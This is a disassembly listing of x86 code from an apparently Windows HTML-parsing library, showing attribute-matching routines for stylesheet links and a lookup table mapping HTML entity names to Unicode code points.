		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B18284
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B2D632
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B1F6C0
		dd offset sub_69B69383
		dd offset sub_69B6939A

; =============== S U B	R O U T	I N E =======================================



sub_69B1F6C0	proc near		; DATA XREF: .text:69B1EE34o
					; .text:69B1F6B4o
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		test	eax, eax
		push	edi
		lea	edi, [esi+0Ch]
		jz	short loc_69B1F6DE
		push	ebx
		mov	ebx, eax


loc_69B1F6D1:				; CODE XREF: sub_69B1F6C0+1Bj
		push	edi
		call	sub_69B17230
		add	edi, 4
		dec	ebx
		jnz	short loc_69B1F6D1
		pop	ebx


loc_69B1F6DE:				; CODE XREF: sub_69B1F6C0+Cj
		pop	edi
		mov	ecx, esi
		pop	esi
		jmp	nullsub_5
sub_69B1F6C0	endp

; ---------------------------------------------------------------------------
		align 4
off_69B1F6E8	dd offset sub_69B448B2	; DATA XREF: sub_69B82ABA+Fo
					; sub_69B83616+16o
		dd offset sub_69B18E45
		dd offset sub_69B19029
		dd offset sub_69B82AF4
		dd offset sub_69B82AF4
		dd offset sub_69B82AF9
		dd offset sub_69B82837
		dd offset sub_69B1F708

; =============== S U B	R O U T	I N E =======================================



sub_69B1F708	proc near		; DATA XREF: .text:69B1F704o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	ecx
		push	ecx
		cmp	word ptr [esp+8+arg_C],	0
		jbe	loc_69B1F8BD
		movzx	eax, word ptr [esp+8+arg_C]
		push	ebx
		push	ebp
		mov	ebp, [esp+10h+arg_0]
		push	esi
		push	edi
		mov	[esp+18h+arg_C], eax


loc_69B1F727:				; CODE XREF: sub_69B1F708+1ABj
		mov	eax, [esp+18h+arg_10]
		mov	ebx, [eax]
		mov	eax, [ebx+4]
		push	4
		pop	edi
		add	[esp+18h+arg_10], edi
		dec	eax
		dec	eax
		jz	loc_69B1F888
		sub	eax, 0Bh
		jnz	loc_69B1F8AF
		mov	eax, [ebp+10h]
		test	eax, eax
		jz	loc_69B1F8AF
		cmp	[ebp+18h], edi
		mov	esi, ds:StrCmpNIW
		jnz	loc_69B1F853
		push	edi		; nChar
		push	offset aHref_0	; "href"
		push	eax		; lpStr1
		call	esi ; StrCmpNIW
		test	eax, eax
		jnz	loc_69B1F803
		mov	eax, [ebp+14h]
		test	eax, eax
		jz	short loc_69B1F7EF
		push	eax		; BSTR
		call	SysStringLen
		mov	esi, eax
		mov	eax, [ebx+14h]
		add	eax, esi
		push	eax		; UINT
		push	0		; OLECHAR *
		mov	[esp+20h+var_8], esi
		call	SysAllocStringLen
		test	eax, eax
		mov	[esp+18h+var_4], eax
		jz	loc_69B1F8AF
		lea	ecx, [esi+esi]
		mov	esi, [ebp+14h]
		mov	[esp+18h+arg_0], ecx
		mov	edx, ecx
		shr	ecx, 2
		mov	edi, eax
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, [ebx+14h]
		mov	esi, [ebx+10h]
		shl	ecx, 1
		lea	edi, [edx+eax]
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, [ebx+14h]
		add	ecx, [esp+18h+var_8]
		and	word ptr [eax+ecx*2], 0
		push	dword ptr [ebp+14h] ; BSTR
		call	SysFreeString
		mov	eax, [esp+18h+var_4]
		jmp	short loc_69B1F7FB
; ---------------------------------------------------------------------------


loc_69B1F7EF:				; CODE XREF: sub_69B1F708+70j
		push	dword ptr [ebx+14h] ; UINT
		push	dword ptr [ebx+10h] ; OLECHAR *
		call	SysAllocStringLen


loc_69B1F7FB:				; CODE XREF: sub_69B1F708+E5j
		mov	[ebp+14h], eax
		jmp	loc_69B1F8AF
; ---------------------------------------------------------------------------


loc_69B1F803:				; CODE XREF: sub_69B1F708+65j
		cmp	[ebp+18h], edi
		jnz	short loc_69B1F853
		push	edi		; nChar
		push	offset aType	; "type"
		push	dword ptr [ebp+10h] ; lpStr1
		call	esi ; StrCmpNIW
		test	eax, eax
		jnz	short loc_69B1F853
		cmp	dword ptr [ebx+14h], 8
		jnz	loc_69B1F8AF
		push	8		; nChar
		push	offset aTextCss	; "text/css"
		push	dword ptr [ebx+10h] ; lpStr1
		call	esi ; StrCmpNIW
		test	eax, eax
		jnz	short loc_69B1F83A
		mov	dword ptr [ebp+1Ch], 1
		jmp	short loc_69B1F8AF
; ---------------------------------------------------------------------------


loc_69B1F83A:				; CODE XREF: sub_69B1F708+127j
		push	8		; nChar
		push	offset aTextXsl	; "text/xsl"
		push	dword ptr [ebx+10h] ; lpStr1
		call	esi ; StrCmpNIW
		test	eax, eax
		jnz	short loc_69B1F8AF
		mov	dword ptr [ebp+1Ch], 2
		jmp	short loc_69B1F8AF
; ---------------------------------------------------------------------------


loc_69B1F853:				; CODE XREF: sub_69B1F708+54j
					; sub_69B1F708+FEj ...
		cmp	dword ptr [ebp+18h], 9
		jnz	short loc_69B1F8AF
		push	9		; nChar
		push	offset aAlternate ; "alternate"
		push	dword ptr [ebp+10h] ; lpStr1
		call	esi ; StrCmpNIW
		test	eax, eax
		jnz	short loc_69B1F8AF
		cmp	dword ptr [ebx+14h], 3
		jnz	short loc_69B1F8AF
		push	3		; nChar
		push	offset aYes	; "yes"
		push	dword ptr [ebx+10h] ; lpStr1
		call	esi ; StrCmpNIW
		test	eax, eax
		jnz	short loc_69B1F8AF
		mov	dword ptr [ebp+20h], 1
		jmp	short loc_69B1F8AF
; ---------------------------------------------------------------------------


loc_69B1F888:				; CODE XREF: sub_69B1F708+31j
		mov	eax, [ebp+10h]
		test	eax, eax
		jz	short loc_69B1F896
		push	eax		; BSTR
		call	SysFreeString


loc_69B1F896:				; CODE XREF: sub_69B1F708+185j
		and	dword ptr [ebp+10h], 0
		push	dword ptr [ebx+14h] ; UINT
		push	dword ptr [ebx+10h] ; OLECHAR *
		call	SysAllocStringLen
		mov	[ebp+10h], eax
		mov	eax, [ebx+14h]
		mov	[ebp+18h], eax


loc_69B1F8AF:				; CODE XREF: sub_69B1F708+3Aj
					; sub_69B1F708+45j ...
		dec	[esp+18h+arg_C]
		jnz	loc_69B1F727
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx


loc_69B1F8BD:				; CODE XREF: sub_69B1F708+8j
		xor	eax, eax
		pop	ecx
		pop	ecx
		retn	14h
sub_69B1F708	endp

; ---------------------------------------------------------------------------
; const	WCHAR aType
aType:					; DATA XREF: sub_69B1F708+101o
					; .data:69B9223Co ...
		unicode	0, <type>,0
		align 10h
; const	WCHAR aAlternate
aAlternate:				; DATA XREF: sub_69B1F708+153o
		unicode	0, <alternate>,0
; const	WCHAR aTextXsl
aTextXsl:				; DATA XREF: sub_69B1F708+134o
		unicode	0, <text/xsl>,0
		align 4
; const	WCHAR aTextCss
aTextCss:				; DATA XREF: sub_69B1F708+11Bo
		unicode	0, <text/css>,0
		align 4
; const	WCHAR aHref_0
aHref_0:				; DATA XREF: sub_69B1F708+5Bo
		unicode	0, <href>,0

; =============== S U B	R O U T	I N E =======================================



sub_69B1F916	proc near		; CODE XREF: sub_69B2F3CD+40p
					; sub_69B88DCD+25p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	[esp+4+arg_8]
		mov	esi, ecx
		push	[esp+8+arg_4]
		call	sub_69B1F97C
		push	[esp+4+arg_0]
		lea	ecx, [esi+10h]
		mov	dword ptr [esi], offset	off_69B1F940
		call	sub_69B1E084
		mov	eax, esi
		pop	esi
		retn	0Ch
sub_69B1F916	endp

; ---------------------------------------------------------------------------
		align 10h
off_69B1F940	dd offset sub_69B2D67E	; DATA XREF: sub_69B1F916+17o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B186D4
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B2ECD4
		dd offset sub_69B17D5C
		dd offset sub_69B18826
		dd offset sub_69B2F49D
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset nullsub_5
		dd offset sub_69B2EFEC

; =============== S U B	R O U T	I N E =======================================



sub_69B1F97C	proc near		; CODE XREF: sub_69B1F916+Bp
					; sub_69B2EDFA+37p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		call	sub_69B19118
		mov	eax, [esp+4+arg_4]
		mov	[esi+8], eax
		mov	eax, [esp+4+arg_0]
		mov	[esi+0Ch], eax
		mov	dword ptr [esi], offset	off_69B1F9A0
		mov	eax, esi
		pop	esi
		retn	8
sub_69B1F97C	endp

; ---------------------------------------------------------------------------
		align 10h
off_69B1F9A0	dd offset sub_69B2D67E	; DATA XREF: sub_69B1F97C+16o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B18284
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B18884
		dd offset sub_69B17D5C
		dd offset sub_69B18826
		dd offset sub_69B2F49D
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset nullsub_5
		dd offset sub_69B2EFEC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B1F9DC	proc near		; CODE XREF: sub_69B32EF6+187p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		mov	[ebp+var_8], 10Fh
		push	edi


loc_69B1F9EF:				; CODE XREF: sub_69B1F9DC+68j
		mov	esi, [ebp+var_8]
		sub	esi, [ebp+var_4]
		push	[ebp+arg_4]
		shr	esi, 1
		add	esi, [ebp+var_4]
		push	[ebp+arg_0]
		lea	edi, off_69B1FA58[esi*8]
		mov	ebx, [edi]
		push	ebx
		call	sub_69B84AC0
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_69B1FA25
		cmp	[ebp+var_4], esi
		jnz	short loc_69B1FA20
		inc	[ebp+var_4]
		jmp	short loc_69B1FA3E
; ---------------------------------------------------------------------------


loc_69B1FA20:				; CODE XREF: sub_69B1F9DC+3Dj
		mov	[ebp+var_4], esi
		jmp	short loc_69B1FA3E
; ---------------------------------------------------------------------------


loc_69B1FA25:				; CODE XREF: sub_69B1F9DC+38j
		jnz	short loc_69B1FA31
		mov	eax, [ebp+arg_4]
		cmp	word ptr [ebx+eax*2], 0
		jz	short loc_69B1FA51


loc_69B1FA31:				; CODE XREF: sub_69B1F9DC:loc_69B1FA25j
		cmp	[ebp+var_8], esi
		jnz	short loc_69B1FA3B
		dec	[ebp+var_8]
		jmp	short loc_69B1FA3E
; ---------------------------------------------------------------------------


loc_69B1FA3B:				; CODE XREF: sub_69B1F9DC+58j
		mov	[ebp+var_8], esi


loc_69B1FA3E:				; CODE XREF: sub_69B1F9DC+42j
					; sub_69B1F9DC+47j ...
		mov	eax, [ebp+var_8]
		cmp	[ebp+var_4], eax
		jb	short loc_69B1F9EF
		or	ax, 0FFFFh


loc_69B1FA4A:				; CODE XREF: sub_69B1F9DC+79j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_69B1FA51:				; CODE XREF: sub_69B1F9DC+53j
		mov	ax, [edi+4]
		jmp	short loc_69B1FA4A
sub_69B1F9DC	endp

; ---------------------------------------------------------------------------
		align 4
off_69B1FA58	dd offset aAelig	; DATA XREF: sub_69B1F9DC+24o
					; "AElig"
		dd 0C6h
		dd offset aAmp_2	; "AMP"
		dd 26h
		dd offset aAacute	; "Aacute"
; ---------------------------------------------------------------------------
		rol	dword ptr [eax], 0
		add	[edi+ecx], ah
		mov	dl, 69h
		retn	0
; ---------------------------------------------------------------------------
		align 4
		dd offset aAgrave	; "Agrave"
		dd 0C0h
		dd offset aAlpha	; "Alpha"
		dd 391h
		dd offset aAring	; "Aring"
		dd 0C5h
		dd offset aAtilde	; "Atilde"
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4
		dd offset aAuml		; "Auml"
		dd 0C4h
		dd offset aBeta		; "Beta"
		dd 392h
		dd offset aCopy		; "COPY"
		dd 0A9h
		dd offset aCcedil	; "Ccedil"
		dd 0C7h
		dd offset aChi		; "Chi"
		dd 3A7h
		dd offset aDagger	; "Dagger"
		dd 2021h
		dd offset aDelta	; "Delta"
		dd 394h
		dd offset aEth		; "ETH"
		dd 0D0h
		dd offset aEacute	; "Eacute"
		dd 0C9h
		dd offset aEcirc	; "Ecirc"
; ---------------------------------------------------------------------------
		retf	0
; ---------------------------------------------------------------------------
		align 4
		dd offset aEgrave	; "Egrave"
		dd 0C8h
		dd offset aEpsilon	; "Epsilon"
; ---------------------------------------------------------------------------
		xchg	eax, ebp
		add	eax, [eax]
		add	[eax+0Eh], cl
		mov	dl, 69h
		xchg	eax, edi
		add	eax, [eax]
		add	[esi+ecx], bh
		mov	dl, 69h
		retf
; ---------------------------------------------------------------------------
		align 4
		dd offset aGt_3		; "GT"
		dd 3Eh
		dd offset aGamma	; "Gamma"
		dd 393h
		dd offset aIacute	; "Iacute"
		dd 0CDh
		dd offset aIcirc	; "Icirc"
		dd 0CEh
		dd offset aIgrave	; "Igrave"
		align 10h
		dd offset aIota		; "Iota"
		dd 399h
		dd offset aIuml		; "Iuml"
		dd 0CFh
		dd offset aKappa	; "Kappa"
		dd 39Ah
		dd offset aLt_3		; "LT"
		dd 3Ch
		dd offset aLambda	; "Lambda"
		dd 39Bh
		dd offset aMu		; "Mu"
		dd 39Ch
		dd offset aNtilde	; "Ntilde"
		dd 0D1h
		dd offset aNu		; "Nu"
		dd 39Dh
		dd offset aOelig	; "OElig"
		dd 152h
		dd offset aOacute	; "Oacute"
		dd 0D3h
		dd offset aOcirc	; "Ocirc"
		dd 0D4h
		dd offset aOgrave	; "Ograve"
		dd 0D2h
		dd offset aOmega	; "Omega"
		dd 3A9h
		dd offset aOmicron	; "Omicron"
		dd 39Fh
		dd offset aOslash	; "Oslash"
		dd 0D8h
		dd offset aOtilde	; "Otilde"
		dd 0D5h
		dd offset aOuml		; "Ouml"
		dd 0D6h
		dd offset aPhi		; "Phi"
		dd 3A6h
		dd offset aPi_0		; "Pi"
		dd 3A0h
		dd offset aPrime	; "Prime"
		dd 2033h
		dd offset aPsi		; "Psi"
		dd 3A8h
		dd offset aQuot_2	; "QUOT"
		dd 22h
		dd offset aReg		; "REG"
		dd 0AEh
		dd offset aRho		; "Rho"
		dd 3A1h
		dd offset aScaron_0	; "Scaron"
		dd 160h
		dd offset aSigma_0	; "Sigma"
		dd 3A3h
		dd offset aThorn	; "THORN"
		dd 0DEh
		dd offset aTrade	; "TRADE"
		dd 2122h
		dd offset aTau		; "Tau"
		dd 3A4h
		dd offset aTheta	; "Theta"
		dd 398h
		dd offset aUacute_0	; "Uacute"
		dd 0DAh
		dd offset aUcirc_0	; "Ucirc"
		dd 0DBh
		dd offset aUgrave_0	; "Ugrave"
		dd 0D9h
		dd offset aUpsilon_0	; "Upsilon"
		dd 3A5h
		dd offset aUuml_0	; "Uuml"
		dd 0DCh
		dd offset aXi		; "Xi"
		dd 39Eh
		dd offset aYacute	; "Yacute"
		dd 0DDh
		dd offset aYuml		; "Yuml"
		dd 178h
		dd offset aZeta		; "Zeta"
		dd 396h
		dd offset aAacute_0	; "aacute"
		dd 0E1h
		dd offset aAafs		; "aafs"
		dd 206Dh
		dd offset aAcirc	; "acirc"
		dd 0E2h
		dd offset aAcute	; "acute"
		dd 0B4h
		dd offset aAelig_0	; "aelig"
		dd 0E6h
		dd offset aAgrave_0	; "agrave"
		dd 0E0h
		dd offset aAlefsym	; "alefsym"
		dd 2135h
		dd offset aAlpha_0	; "alpha"
		dd 3B1h
		dd offset aAmp		; "amp"
		dd 26h
		dd offset aAnd_0	; "and"
		dd 2227h
		dd offset aAng		; "ang"
		dd 2220h
		dd offset aApos		; "apos"
		dd 27h
		dd offset aAring_0	; "aring"
		dd 0E5h
		dd offset aAss		; "ass"
		dd 206Bh
		dd offset aAsymp	; "asymp"
		dd 2248h
		dd offset aAtilde_0	; "atilde"
		dd 0E3h
		dd offset aAuml_0	; "auml"
		dd 0E4h
		dd offset aBdquo	; "bdquo"
		dd 201Eh
		dd offset aBeta_0	; "beta"
		dd 3B2h
		dd offset aBrvbar	; "brvbar"
		dd 0A6h
		dd offset aBull		; "bull"
		dd 2022h
		dd offset aCap		; "cap"
		dd 2229h
		dd offset aCcedil_0	; "ccedil"
		dd 0E7h
		dd offset aCedil	; "cedil"
		dd 0B8h
		dd offset aCent		; "cent"
		dd 0A2h
		dd offset aChi_0	; "chi"
		dd 3C7h
		dd offset aCirc		; "circ"
		dd 2C6h
		dd offset aClubs	; "clubs"
		dd 2663h
		dd offset aCong		; "cong"
		dd 2245h
		dd offset aCopy_0	; "copy"
		dd 0A9h
		dd offset aCrarr	; "crarr"
		dd 21B5h
		dd offset aCup		; "cup"
		dd 222Ah
		dd offset aCurren	; "curren"
		dd 0A4h
		dd offset aDarr		; "dArr"
		dd 21D3h
		dd offset aDagger_0	; "dagger"
		dd 2020h
		dd offset aDarr_0	; "darr"
		dd 2193h
		dd offset aDeg		; "deg"
		dd 0B0h
		dd offset aDelta_0	; "delta"
		dd 3B4h
		dd offset aDiams	; "diams"
		dd 2666h
		dd offset aDivide	; "divide"
		dd 0F7h
		dd offset aEacute_0	; "eacute"
		dd 0E9h
		dd offset aEcirc_0	; "ecirc"
		dd 0EAh
		dd offset aEgrave_0	; "egrave"
		dd 0E8h
		dd offset aEmpty_0	; "empty"
		dd 2205h
		dd offset aEmsp		; "emsp"
		dd 2003h
		dd offset aEnsp		; "ensp"
		dd 2002h
		dd offset aEpsilon_0	; "epsilon"
		dd 3B5h
		dd offset aEquiv	; "equiv"
		dd 2261h
		dd offset aEta		; "eta"
		dd 3B7h
		dd offset aEth_0	; "eth"
		dd 0F0h
		dd offset aEuml		; "euml"
		dd 0EBh
		dd offset aExist	; "exist"
		dd 2203h
		dd offset aFnof		; "fnof"
		dd 192h
		dd offset aForall	; "forall"
		dd 2200h
		dd offset aFrac12	; "frac12"
		dd 0BDh
		dd offset aFrac14	; "frac14"
		dd 0BCh
		dd offset aFrac34	; "frac34"
		dd 0BEh
		dd offset aFrasl	; "frasl"
		dd 2044h
		dd offset aGamma_0	; "gamma"
		dd 3B3h
		dd offset aGe_0		; "ge"
		dd 2265h
		dd offset aGt		; "gt"
		dd 3Eh
		dd offset aHarr		; "hArr"
		dd 21D4h
		dd offset aHarr_0	; "harr"
		dd 2194h
		dd offset aHearts	; "hearts"
		dd 2665h
		dd offset aHellip	; "hellip"
		dd 2026h
		dd offset aIacute_0	; "iacute"
		dd 0EDh
		dd offset aIafs		; "iafs"
		dd 206Ch
		dd offset aIcirc_0	; "icirc"
		dd 0EEh
		dd offset aIexcl	; "iexcl"
		dd 0A1h
		dd offset aIgrave_0	; "igrave"
		dd 0ECh
		dd offset aImage	; "image"
		dd 2111h
		dd offset aInfin	; "infin"
		dd 221Eh
		dd offset aInt		; "int"
		dd 222Bh
		dd offset aIota_0	; "iota"
		dd 3B9h
		dd offset aIquest	; "iquest"
		dd 0BFh
		dd offset aIsin		; "isin"
		dd 2208h
		dd offset aIss		; "iss"
		dd 206Ah
		dd offset aIuml_0	; "iuml"
		dd 0EFh
		dd offset aKappa_0	; "kappa"
		dd 3BAh
		dd offset aLarr		; "lArr"
		dd 21D0h
		dd offset aLambda_0	; "lambda"
		dd 3BBh
		dd offset aLang		; "lang"
		dd 2329h
		dd offset aLaquo	; "laquo"
		dd 0ABh
		dd offset aLarr_0	; "larr"
		db 90h
		db 21h,	2 dup(0)
		dd offset aLceil	; "lceil"
		dd 2308h
		dd offset aLdquo	; "ldquo"
		dd 201Ch
		dd offset aLe_0		; "le"
		dd 2264h
		dd offset aLfloor	; "lfloor"
		dd 230Ah
		dd offset aLowast	; "lowast"
; ---------------------------------------------------------------------------
		pop	ss
		and	al, [eax]
		add	ah, dh
		pop	es
		mov	dl, 69h
		retf	25h
; ---------------------------------------------------------------------------
		align 4
		dd offset aLre		; "lre"
		dd 202Ah
		dd offset aLrm		; "lrm"
		dd 200Eh
		dd offset aLro		; "lro"
		dd 202Dh
		dd offset aLsaquo	; "lsaquo"
		dd 2039h
		dd offset aLsquo	; "lsquo"
		dd 2018h
		dd offset aLt		; "lt"
		dd 3Ch
		dd offset aMacr		; "macr"
		dd 0AFh
		dd offset aMdash	; "mdash"
		dd 2014h
		dd offset aMicro	; "micro"
		dd 0B5h
		dd offset aMiddot	; "middot"
		dd 0B7h
		dd offset aMinus	; "minus"
		dd 2212h
		dd offset aMu_0		; "mu"
		dd 3BCh
		dd offset aNabla	; "nabla"
		dd 2207h
		dd offset aNads		; "nads"
		dd 206Eh
		dd offset aNbsp		; "nbsp"
		dd 0A0h
		dd offset aNdash	; "ndash"
		dd 2013h
		dd offset aNe_0		; "ne"
		dd 2260h
		dd offset aNi		; "ni"
		dd 220Bh
		dd offset aNods		; "nods"
		dd 206Fh
		dd offset aNot_0	; "not"
		dd 0ACh
		dd offset aNotin	; "notin"
		dd 2209h
		dd offset aNsub		; "nsub"
		dd 2284h
		dd offset aNtilde_0	; "ntilde"
		dd 0F1h
		dd offset aNu_0		; "nu"
		dd 3BDh
		dd offset aOacute_0	; "oacute"
		dd 0F3h
		dd offset aOcirc_0	; "ocirc"
		dd 0F4h
		dd offset aOelig_0	; "oelig"
		dd 153h
		dd offset aOgrave_0	; "ograve"
		dd 0F2h
		dd offset aOline	; "oline"
		dd 203Eh
		dd offset aOmega_0	; "omega"
		dd 3C9h
		dd offset aOmicron_0	; "omicron"
		dd 3BFh
		dd offset aOplus	; "oplus"
		dd 2295h
		dd offset aOr_0		; "or"
		dd 2228h
		dd offset aOrdf		; "ordf"
		dd 0AAh
		dd offset aOrdm		; "ordm"
		dd 0BAh
		dd offset aOslash_0	; "oslash"
		dd 0F8h
		dd offset aOtilde_0	; "otilde"
		dd 0F5h
		dd offset aOtimes	; "otimes"
		dd 2297h
		dd offset aOuml_0	; "ouml"
		dd 0F6h
		dd offset aPara		; "para"
		dd 0B6h
		dd offset aPart		; "part"
		dd 2202h
		dd offset aPdf		; "pdf"
		dd 202Ch
		dd offset aPermil	; "permil"
		dd 2030h
		dd offset aPerp		; "perp"
		dd 22A5h
		dd offset aPhi_0	; "phi"
		dd 3C6h
		dd offset aPi		; "pi"
		dd 3C0h
		dd offset aPiv		; "piv"
		dd 3D6h
		dd offset aPlusmn	; "plusmn"
		dd 0B1h
		dd offset aPound	; "pound"
		dd 0A3h
		dd offset aPrime_0	; "prime"
		dd 2032h
		dd offset aProd		; "prod"
		dd 220Fh
		dd offset aProp		; "prop"
		dd 221Dh
		dd offset aPsi_0	; "psi"
		dd 3C8h
		dd offset aQuot		; "quot"
		dd 22h
		dd offset aRarr		; "rArr"
		dd 21D2h
		dd offset aRadic	; "radic"
		dd 221Ah
		dd offset aRang		; "rang"
		dd 232Ah
		dd offset aRaquo	; "raquo"
		dd 0BBh
		dd offset aRarr_0	; "rarr"
		dd 2192h
		dd offset aRceil	; "rceil"
		dd 2309h
		dd offset aRdquo	; "rdquo"
		dd 201Dh
		dd offset aReal		; "real"
		dd 211Ch
		dd offset aReg_0	; "reg"
		dd 0AEh
		dd offset aRfloor	; "rfloor"
		dd 230Bh
		dd offset aRho_0	; "rho"
		dd 3C1h
		dd offset aRle		; "rle"
		dd 202Bh
		dd offset aRlm		; "rlm"
		dd 200Fh
		dd offset aRlo		; "rlo"
		dd 202Eh
		dd offset aRsaquo	; "rsaquo"
		dd 203Ah
		dd offset aRsquo	; "rsquo"
		dd 2019h
		dd offset aSbquo	; "sbquo"
		dd 201Ah
		dd offset aScaron	; "scaron"
		dd 161h
		dd offset aSdot		; "sdot"
		dd 22C5h
		dd offset aSect		; "sect"
		dd 0A7h
		dd offset aShy		; "shy"
		dd 0ADh
		dd offset aSigma	; "sigma"
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 3, 2	dup(0)
		dd offset aSigmaf	; "sigmaf"
; ---------------------------------------------------------------------------
		retn	3
; ---------------------------------------------------------------------------
		align 10h
		dd offset aSim		; "sim"
		dd 223Ch
		dd offset aSpades	; "spades"
		dd 2660h
		dd offset aSub		; "sub"
		dd 2282h
		dd offset aSube		; "sube"
		dd 2286h
		dd offset aSum		; "sum"
		dd 2211h
		dd offset aSup		; "sup"
		dd 2283h
		dd offset aSup1		; "sup1"
		dd 0B9h
		dd offset aSup2		; "sup2"
		dd 0B2h
		dd offset aSup3		; "sup3"
		dd 0B3h
		dd offset aSupe		; "supe"
		dd 2287h
		dd offset aSzlig	; "szlig"
		dd 0DFh
		dd offset aTau_0	; "tau"
		dd 3C4h
		dd offset aThere4	; "there4"
		dd 2234h
		dd offset aTheta_0	; "theta"
		dd 3B8h
		dd offset aThetasym	; "thetasym"
		dd 3D1h
		dd offset aThinsp	; "thinsp"
		dd 2009h
		dd offset aThorn_0	; "thorn"
		dd 0FEh
		dd offset aTilde	; "tilde"
		dd 2DCh
		dd offset aTimes	; "times"
		dd 0D7h
		dd offset aTrade_0	; "trade"
		dd 2122h
		dd offset aUarr		; "uArr"
		dd 21D1h
		dd offset aUacute	; "uacute"
		dd 0FAh
		dd offset aUarr_0	; "uarr"
		dd 2191h
		dd offset aUcirc	; "ucirc"
		dd 0FBh
		dd offset aUgrave	; "ugrave"
		dd 0F9h
		dd offset aUml		; "uml"
		dd 0A8h
		dd offset aUpsih	; "upsih"
		dd 3D2h
		dd offset aUpsilon	; "upsilon"
		dd 3C5h
		dd offset aUuml		; "uuml"
		dd 0FCh
		dd offset aWeierp	; "weierp"
		dd 2118h
		dd offset aXi_0		; "xi"
		dd 3BEh
		dd offset aYacute_0	; "yacute"
		dd 0FDh
		dd offset aYen		; "yen"
		dd 0A5h
		dd offset aYuml_0	; "yuml"
		dd 0FFh
		dd offset aZeta_0	; "zeta"
		dd 3B6h
		dd offset aZwj		; "zwj"
		dd 200Dh
		dd offset aZwnj		; "zwnj"
		dd 200Ch
		dd offset aZwsp		; "zwsp"
		dd 83h
aZwsp:					; DATA XREF: .text:69B202C8o
		unicode	0, <zwsp>,0
		align 4
aZwnj:					; DATA XREF: .text:69B202C0o
		unicode	0, <zwnj>,0
		align 4
aZwj:					; DATA XREF: .text:69B202B8o
		unicode	0, <zwj>,0
aZeta_0:				; DATA XREF: .text:69B202B0o
		unicode	0, <zeta>,0
		align 4
aYuml_0:				; DATA XREF: .text:69B202A8o
		unicode	0, <yuml>,0
		align 4
aYen:					; DATA XREF: .text:69B202A0o
		unicode	0, <yen>,0
aYacute_0:				; DATA XREF: .text:69B20298o
		unicode	0, <yacute>,0
		align 10h
aXi_0:					; DATA XREF: .text:69B20290o
		unicode	0, <xi>,0
		align 4
aWeierp:				; DATA XREF: .text:69B20288o
		unicode	0, <weierp>,0
		align 4
aUuml:					; DATA XREF: .text:69B20280o
		unicode	0, <uuml>,0
		align 4
aUpsilon:				; DATA XREF: .text:69B20278o
		unicode	0, <upsilon>,0
aUpsih:					; DATA XREF: .text:69B20270o
		unicode	0, <upsih>,0
aUml:					; DATA XREF: .text:69B20268o
		unicode	0, <uml>,0
aUgrave:				; DATA XREF: .text:69B20260o
		unicode	0, <ugrave>,0
		align 4
aUcirc:					; DATA XREF: .text:69B20258o
		unicode	0, <ucirc>,0
aUarr_0:				; DATA XREF: .text:69B20250o
		unicode	0, <uarr>,0
		align 10h
aUacute:				; DATA XREF: .text:69B20248o
		unicode	0, <uacute>,0
		align 10h
aUarr:					; DATA XREF: .text:69B20240o
		unicode	0, <uArr>,0
		align 4
aTrade_0:				; DATA XREF: .text:69B20238o
		unicode	0, <trade>,0
aTimes:					; DATA XREF: .text:69B20230o
		unicode	0, <times>,0
aTilde:					; DATA XREF: .text:69B20228o
		unicode	0, <tilde>,0
aThorn_0:				; DATA XREF: .text:69B20220o
		unicode	0, <thorn>,0
aThinsp:				; DATA XREF: .text:69B20218o
		unicode	0, <thinsp>,0
		align 4
aThetasym:				; DATA XREF: .text:69B20210o
		unicode	0, <thetasym>,0
		align 10h
aTheta_0:				; DATA XREF: .text:69B20208o
		unicode	0, <theta>,0
aThere4:				; DATA XREF: .text:69B20200o
		unicode	0, <there4>,0
		align 4
aTau_0:					; DATA XREF: .text:69B201F8o
		unicode	0, <tau>,0
aSzlig:					; DATA XREF: .text:69B201F0o
		unicode	0, <szlig>,0
aSupe:					; DATA XREF: .text:69B201E8o
		unicode	0, <supe>,0
		align 4
aSup3:					; DATA XREF: .text:69B201E0o
		unicode	0, <sup3>,0
		align 4
aSup2:					; DATA XREF: .text:69B201D8o
		unicode	0, <sup2>,0
		align 4
aSup1:					; DATA XREF: .text:69B201D0o
		unicode	0, <sup1>,0
		align 10h
aSup:					; DATA XREF: .text:69B201C8o
		unicode	0, <sup>,0
aSum:					; DATA XREF: .text:69B201C0o
		unicode	0, <sum>,0
aSube:					; DATA XREF: .text:69B201B8o
		unicode	0, <sube>,0
		align 4
aSub:					; DATA XREF: .text:69B201B0o
		unicode	0, <sub>,0
aSpades:				; DATA XREF: .text:69B201A8o
		unicode	0, <spades>,0
		align 4
aSim:					; DATA XREF: .text:69B201A0o
		unicode	0, <sim>,0
aSigmaf:				; DATA XREF: .text:69B20198o
